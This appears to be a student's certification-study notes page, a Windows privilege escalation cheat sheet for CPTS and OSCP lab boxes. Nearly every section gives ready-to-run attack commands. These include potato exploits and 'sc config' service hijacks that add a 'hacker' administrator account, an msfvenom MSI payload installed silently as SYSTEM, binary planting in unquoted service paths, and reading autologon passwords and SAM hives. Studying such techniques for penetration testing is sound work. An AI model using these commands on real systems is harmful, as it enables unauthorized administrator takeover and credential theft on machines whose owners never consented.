~/windows-privesc-primer

Privesc Primer

CPTS Notes5 min read

Leads for Windows privilege escalation, roughly in the order they pay off on CPTS and OSCP boxes. Each lead has the command that finds it, what a hit looks like, and the next step. The enumeration pass that produces these leads is in Local Enumeration. Check LOLBAS for a signed binary that does what you need.

Lead table

Lead Command Next step
Token privileges whoami /priv SeImpersonate potato, SeBackup to read SAM
Credentials cmdkey /list, config files Reuse, runas /savecred, pass-the-hash
Service permissions accesschk.exe -uwcqv <user> * Reconfigure the service binary
Unquoted service path Get-CimInstance Win32_Service Plant a binary in the path
AlwaysInstallElevated reg query ...\Installer Install a malicious MSI
Scheduled tasks schtasks /query /fo LIST /v Writable task binary or script
Autologon reg query ...\Winlogon Read the stored password
Missing patches systeminfo, Get-HotFix Exploit suggester, PrintNightmare

Token privileges

List the privileges the current token holds:

whoami /priv # privileges, enabled and disabled
  • SeImpersonatePrivilege is the common service-account win (IIS, MSSQL, and most service logons hold it). A “potato” abuses it to run a command as SYSTEM:
    GodPotato.exe -cmd "cmd /c net localgroup administrators hacker /add"
    PrintSpoofer.exe -i -c cmd.exe
    GodPotato covers Windows 8 through 11 and Server 2012 through 2022, so it is the default now. PrintSpoofer needs the Print Spooler service, which PrintNightmare hardening often disables. Match the GodPotato build to the target’s .NET version.
  • SeBackupPrivilege reads any file, so it copies the SAM and SYSTEM hives for offline hash extraction (see Looting (Windows)).
  • SeDebugPrivilege dumps another process, including LSASS.

Credentials and reuse

Saved credentials, and an autologon password left in the registry:

cmdkey /list REM saved credentials for this user
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword REM autologon password
  • Hit: a Domain Password entry in cmdkey, or a DefaultPassword value under Winlogon.
  • Next: reuse a saved credential with runas /savecred /user:<user> cmd, or reuse a found password and hash across the network. Credential stores and pass-the-hash are in Looting (Windows), and searching for passwords in files is in Hunting (Windows).

Service misconfigurations

A service runs as SYSTEM, so control over what it launches is a SYSTEM shell. Three misconfigurations give that control.

Weak service permissions. Check which services the current user can reconfigure with accesschk (Sysinternals):

accesschk.exe -uwcqv "%USERNAME%" * REM services this user can change
  • Hit: SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS on a service.
  • Next: point its binary at your payload, then restart it:
    sc config <service> binpath= "cmd /c net localgroup administrators hacker /add"
    sc stop <service> & sc start <service>
    Keep the space after binpath=.

Unquoted service path. A service path with spaces and no quotes lets Windows run an earlier binary:

Get-CimInstance Win32_Service | Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' -and $_.PathName -notmatch '\\Windows\\' } | Select-Object Name, PathName
  • Hit: C:\Program Files\Some App\service.exe with no quotes, where you can write to C:\ or C:\Program Files\.
  • Next: plant C:\Program.exe (or Some.exe in the folder), then restart the service. Windows tries your binary first.

Modifiable service binary. A service binary you can overwrite: replace it with a payload and restart the service.

AlwaysInstallElevated

When both keys are 1, any MSI installs as SYSTEM:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  • Hit: AlwaysInstallElevated REG_DWORD 0x1 in both hives.
  • Next: build an MSI payload and install it:
    msfvenom -p windows/x64/exec CMD='net localgroup administrators hacker /add' -f msi -o e.msi
    msiexec /quiet /qn /i C:\Windows\Temp\e.msi REM install the payload as SYSTEM

Scheduled tasks

Read the tasks and the binary each runs:

schtasks /query /fo LIST /v # tasks, their run-as user, and their action
  • Hit: a task that runs as SYSTEM or an admin on a schedule, whose script or binary you can write.
  • Next: overwrite that script or binary with a payload and wait for the next run.

Missing patches

Last resort, because a kernel exploit can crash the host. Read the build and installed patches:

systeminfo # OS build and hotfixes
Get-HotFix # installed updates
  • Next: feed systeminfo to an exploit suggester, or match the build against a known local exploit. PrintNightmare (CVE-2021-34527) and PrintSpoofer target the Print Spooler. HiveNightmare (CVE-2021-36934) reads the SAM as a normal user on unpatched Windows 10. Check the exact build before trusting any of these.

Checklist

  1. whoami /priv: SeImpersonate potato, SeBackup, SeDebug.
  2. cmdkey /list and Winlogon for stored and autologon credentials. Reuse everywhere.
  3. accesschk for weak service permissions, then reconfigure the binary.
  4. Unquoted service paths you can write into.
  5. AlwaysInstallElevated in both hives.
  6. Scheduled tasks with a writable binary or script.
  7. systeminfo and Get-HotFix for missing patches, as a last resort.